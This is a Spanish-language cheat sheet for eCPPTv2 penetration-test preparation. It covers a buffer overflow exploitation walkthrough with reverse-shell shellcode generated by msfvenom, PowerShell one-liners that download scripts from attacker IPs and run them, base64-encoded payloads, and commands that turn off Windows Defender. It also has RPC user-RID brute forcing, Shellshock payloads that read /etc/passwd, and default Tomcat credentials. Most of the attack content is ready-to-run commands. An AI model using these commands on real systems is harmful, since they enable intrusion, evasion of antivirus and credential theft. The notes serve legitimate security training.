eCPPTv2 Preparation
Architecture Fundamentasl
CPU, ISA and Assembly
CPU
Es el encargado de ejecutar el código máquina de un programa, estas instrucciones son representadas en formato hexadecimal.
ISA
Cada CPU tiene su instruccion set architecture (ISA), en otras palabras ISAes lo que un programador puede ver: memoria, registros, instrucciones, etc. El más común es la arquitectura x86,
Assembly
Es el lenguaje máquina traducido en código mnemotécnico, este es llamado The assembly language (ASM)
Registers
El número de bits, 32 o 46 se refiere al ancho de los registros de CPU; algunos registros tienen funciones especificas mientras algunos otros son usados para almacenar informacion general.
Process Memory
Cuando un proceso corre, es típicamente organizado en la memoria asi:
| Text | Instrucciones |
|---|---|
| Data | Variables inicializadas |
| BSS | Variables inicializadas |
| Heap | |
| ⇅ | |
| Stack | 0XFFFFFFFF |
El proceso está dividido en 4 regiones: Texto, Información, “The Heap”, y Stack.
- Texto: Esta region se encarga de contener el código del programa, es solo de lectura y no se puede hacer cambios.
- Información: Dividido en información inicialida y no inicializada, incluye items como “static” y “global”, variables declaradas que pueden ser predefinidas.
- The Heap: Empieza justo después del BSS, durante la ejecución del programa puede pedir más espacio en la memoria via BRK y SBRK.
- The Stack: Es un Last In First Out (LIFO). También se localiza en la parte alta de la memoria. Se puede decir que un Stack es un array usado para guardar la direccion de retorno de una función.
Buffer Overflows
Finding Buffer Overflows
Algunas aplicaciones usan algunas funciones vulnerables para los Buffer Overflows, entre ellas:
- strcpy
- strcat
- gets/fgets
- scan/fscanf
- vsprintf
- printf
- memcpy Pero depende de la función usada; cualquier función que lleve las siguientes las siguientes operaciones también es vulnerable:
- No valida apropiadamente los inputs antes de la operación.
- No revisa los limites del input.
Exploiting Buffer Overflows
Debemos lograr apoderarnos del EIP ya que ese es el registro que apunta a la siguiente dirección de memoria a ejecutar, primero desbordamos el EBP hasta llegar al ESP. Para conocer el tamaño exacto del buffer a desbordar, podemos usar el pattern_create de msfvenom.
./pattern_create.rb -l $tamaño_aprox
Esto nos generará una cadena de caracteres aleatorios los cuales podemos introducir en nuestro programa en python para obtener un EIP.
.-pattern_offset.rb -q $EIP_sobreescrito
Después de haber probado la anterior cadena, esto nos da el tamaño exacto del buffer para desbordarlo.
Analizando el ESP
El payload viene después de sobrescribir el EIP, estará en el comienzo del ESP (la pila) esto hace más cómodo al atacante redirigir el flujo del programa a la pila, ya que al inicio de la pila estará el payload.
Primero debemos encontrar los “bad chars” para evitar que el payload nos de error, entre estos el más común es \x00
Buscamos los Bad Chars
Creamos una carpeta de trabajo con mona
!mona bytearray -cpb "\x00"
Comparamos los badchars con mona
!mona compare -f C:\\ruta.bin -a $address
Veremos los caracteres no permitidos y realizamos la primera operación creando un array y eliminando los caracteres que nos da la comparación.
Generamos un shellcode con msfvenom
msfvenom -p windows/shell_reverse-tcp LHOST= LPORT= -a x86 --platform windows -b "$badchars" -e x86/shikata_ga_nai -f C
Si tenemos demasiados badchars nos generará error, para solucionar eso eliminamos
-e x86/shikata_ga_nai
Buscamos el OpCode correspondiente a un JMP ESP
Para buscar el OpCode usamos la herramienta de metasploit
./nasm_shell.rb
nasm > jmp ESP
FFE4
Con mona listamos los módulos y buscamos un .dll que tenga todo desactivado excepto el OS Dll, debemos buscar su OpCode que sea un salto al ESP
!mona find -s "\xff\xe4" -m "modulo.dll"
Buscamos la dirección que no contenga badchars y la copiamos e integramos en nuestro programa para que redireccione el payload de manera correcta.
## Uso de los NOPs
Para que nuestro shellcode pueda ser interpretado debemos utilizar los NOPs “\x90”x16 , con esto le damos un tiempo para que nuestro payload sea funcional.
PowerShellfor Pentesters
Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Download & Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
Using b64 from linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Disable Defender
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
Set-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
PS-History
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Get permissions
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
OS version and HotFixes
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Domain Recon
Users
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Groups
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Processes
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Network
Interfaces
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Route
route print
ARP
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
ping
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
Linux Explotation
Remote Enumeration
Enumerating NFS
Network File System es un protocolo que comparte archivos, a menudo lo encuentras en sistemas Unix-like, trabaja en el puerto 2049 por TCP y también por UDP. Podemos usar algunos scripts de nmap para poder enumerar algunos archivos:
nmap --script nfs-ls,mfs-showmount,nft-statfs <IP>
Y para poder reconstruirlo usamos showmount -e <IP>, por ejemplosupongamos que se comparte /var/home/ - /home/bob, para ello creamos las carpetas en nuestra maquina local con mkdir -p /mnt/home.bob después exportamos el directorio con mount -t nfs <NFS SERVER IP>:/home/bob /mnt/home/bob -o nolock
Y con esto podemos visualizar los archivos compartidos.
Enumerating Portmapper(RPCBIND)
Es típicamente encontrado en el puerto 111 ya sea TCP/UDP y a veces en el puerto 32771.
nmap --script rpc-grind,rpcinfo <IP> -p 111
Y para enumerar usamos xinetd
Enumerating SMB
Podemos usar la utilidad rpcclient de Samba para interactuar con puntos finales de RPC a través de canalizaciones con nombre. A continuación, se enumeran los comandos que puede emitir las interfaces SAMR, LSARPC y LSARPC-DS al establecer una sesión SMB.
Server Info
- Server Info:
srvinfo
Users enumeration
- List users:
querydispinfo and enumdomusers - Get user details:
queryuser <0xrid> - Get user groups:
queryusergroups <0xrid> - GET SID of a user:
lookupnames <username> - Get users aliases:
queryuseraliases [builtin|domain] <sid>
# Brute-Force users RIDs
for i in $(seq 500 1100); do
rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
done
# You can also use samrdump.py for this purpose
Groups enumeration
List groups: enumdomgroups
Get group details: querygroup <0xrid>
Get group members: querygroupmem <0xrid>
Aliasgroups enumeration
List alias: enumalsgroups <builtin|domain>
Get members: queryaliasmem builtin|domain <0xrid>
Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo <share>
Local Enumeration
Network Enumeration
ifconfig #Lista las interfaces
route -n #Lista las iproutes
traceroute -n <IP> #Para saber cuantos saltos hay entre una maquina a otra
cat /etc/resolv.conf #Lista las DNS
arp-en #ARP cache
netstat -auntp #Lista las conecciones TCP/UDP
cat /proc/net/tcp
cat /proc/net/udp
ss -twurp #Lista conecciones activas TCP/UDP Ports/Conecctions
id
uname -a
grep $user /etc/passwd
last log
w #Quien está actualmente conectado al sistema
last
sudo -l
ls -als /root/ #Lista el home directory de root
echo $PATH
cat /etc/crontab && ls -als /etc/cron* #lista las cron jobs
find /etc/cron* -type f -perm -o+w -exec ls -l {} \; #Encuentra las cron jobs world-writeable
ps auxwww
ps -u root
find / -perm -4000 -type f 2>/dev/null
find -uid 0 -perm -4000 -type f 2>/dev/null
lsof -n
Exploitation over the Network
Shellshock
Para entenderlo tomaremos un metodo para determinar si el sistema es vulnerable. Cuando ejecutamos este comando en un sistema vulnerable nos deberia imprimir “vulnerable”.
env x='() { :;}; echo vulnerable' bash -c "echo es una prueba"
Tambien lo podemos encontrar en algunos servidores web, interceptamos la peticion que normalmente termina en archivos .cgi
"User-Agent: () {:;}; /bin/eject"
curl -H "User-Agent: () {:;}; /bin/eject" http://example.com
./dirsearch.py -u http://IP/ -e cgi -r
wget -U "() { foo;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://IP/cgi-bin/login.cgi && cat login.cgi
Exploiting Apache Tomcat
Normalmente corre en el puerto 8080
Enumeration
- Version
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
- Locate manager files
Las paginas interesantes se encuentran en /manager y /host-manager, puedes buscarlos con fuerza bruta.
-
Username Enum
msf> use auxiliary/scanner/http/tomcat_enum -
Default credentials
| Users | Passwords |
|---|---|
| admin | admin |
| tomcat | tomcat |
| admin | (NOTHING) |
| admin | s3cr3t |
| tomcat | s3cr3t |
| admin | tomcat |
Podemos testearlos con:
msf> use auxiliary/scanner/http/tomcat_mgr_login